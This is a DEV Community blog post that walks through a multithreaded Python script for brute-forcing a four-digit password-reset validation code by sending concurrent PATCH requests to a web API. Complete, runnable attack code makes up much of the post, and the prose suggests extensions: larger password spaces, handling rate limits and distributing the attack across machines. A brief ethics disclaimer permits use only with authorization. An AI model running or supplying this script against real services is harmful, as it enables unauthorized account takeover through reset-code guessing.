DEV Community

Mihai
Mihai

Posted on

Understanding a Multithreaded Brute-Force Password Attack in Python

This article explains a Python script designed to perform a brute-force password attack using multithreading. The code automates the process of attempting numerous password combinations on a web service until the correct password is discovered. Let’s break down the key components, the purpose of the code, and the ethical implications of using such methods.

Purpose of the Code
The primary purpose of this script is to brute-force the password reset validation code by trying every possible numeric password within a specified range. The goal is to exploit an API endpoint to reset a password by guessing the correct four-digit validation code. Brute-forcing involves systematically attempting every combination until the correct one is found.

This code utilizes multithreading to increase the speed of password attempts by sending multiple requests concurrently.

Key Components
Libraries Used:

  • requests: Used to send HTTP requests to the target server.
  • itertools.product: Generates combinations (though not used in the final version, but useful for larger brute-force strategies). string: Provides string constants (again, useful for generating alphabetic passwords).
  • time : Adds delays between requests to avoid overwhelming the server.
  • concurrent.futures.ThreadPoolExecutor: Allows multiple threads to run concurrently, improving brute-forcing efficiency.

Password Generation: The script focuses on generating four-digit numeric passwords, ranging from 0000 to 9999. This approach can be easily expanded for more complex password sets, such as alphanumeric combinations.

Password Guessing Strategy: The function generate_wrapped_passwords is structured to prioritize certain ranges of passwords. It starts from 5000-9999, followed by 0000-4999. This approach might be helpful if some passwords are more likely to fall in a specific range.

Ethical and Legal Considerations

It's important to understand that brute-force attacks are illegal and unethical unless you have explicit permission to test the security of a system, such as in the context of a penetration test or bug bounty program. Attempting to brute-force passwords without authorization can lead to severe legal consequences, including criminal charges.

The script provided here should be used only in ethical hacking environments where you have permission to test the system’s security, such as during security audits or testing your own applications.

Improvements and Modifications

While the current script is functional, several improvements can be made:

Larger Password Spaces:

If the password is alphanumeric or longer than four digits, the script could be modified to include letters and symbols. The itertools.product() function could be useful here for generating a larger set of password combinations.

Rate Limiting Detection:

Servers often implement rate-limiting to detect brute-force attempts. It would be beneficial to include rate-limit handling, such as detecting the HTTP response status code (e.g., 429 for "Too Many Requests") and adjusting the frequency of requests.

Better Error Handling:

The script could be improved with more robust error handling. If the server returns unexpected responses or if network errors occur, the script could pause or retry after some time instead of failing silently.

Distributed Brute-Force:

For very large password spaces, the brute-force could be distributed across multiple machines or servers to speed up the process further.

import requests
from itertools import product
import string
import time
from concurrent.futures import ThreadPoolExecutor

# Define the target URL
url = "<url>"  # Change this to your URL

# Define character set to brute force passwords (numeric in this case)
password_length = 4  # For a 4-digit numeric password like "0001", "0002", ...

# Function to send request with the generated password
def send_request(password):
    # Payload to send in request
    data = {
        "validationCode": str(password)
    }

    # Send the POST request to the authorization layer
    try:
        response = requests.patch(url, data=data)

        # Check response
        if response.status_code == 200:
            print(f"Success! Password found: {password}")
            return True
        else:
            print(f"Failed attempt with password: {password}")

        # Delay to avoid overwhelming the server or being rate-limited
        time.sleep(0.1)

    except requests.exceptions.RequestException as e:
        print(f"Error occurred: {e}")

    return False

# Generate numeric passwords (from 0000 to 9999 for length 4)
def generate_wrapped_passwords(length):
    # First phase: from 5000 to 9999
    for number in range(5000, 10**length):
        yield str(number).zfill(length)

    # Second phase: from 0000 to 4999
    for number in range(0, 5000):
        yield str(number).zfill(length)


# Multithreaded brute-force attempt
def multithread_brute_force(password_length, max_threads=10):
    with ThreadPoolExecutor(max_workers=max_threads) as executor:
        # Generate all passwords and submit them to the thread pool for execution
        passwords = generate_wrapped_passwords(password_length)
        futures = [executor.submit(send_request, password) for password in passwords]

        # Check the results as they complete
        for future in futures:
            if future.result():
                # Stop further attempts once a password is found
                executor.shutdown(wait=False)
                break

# Run the brute force attack using multithreading
if __name__ == "__main__":
    multithread_brute_force(password_length, max_threads=20)  # Adjust max_threads for concurrency

Enter fullscreen mode Exit fullscreen mode

This script illustrates a brute-force attack designed to guess a validation code by trying every possible numeric combination. The use of multithreading greatly increases the efficiency of the attack by allowing many attempts to happen simultaneously. However, the ethical and legal implications of such a technique cannot be overstated — unauthorized brute-force attacks are illegal. Always ensure you have proper permissions before testing the security of any system.

Top comments (0)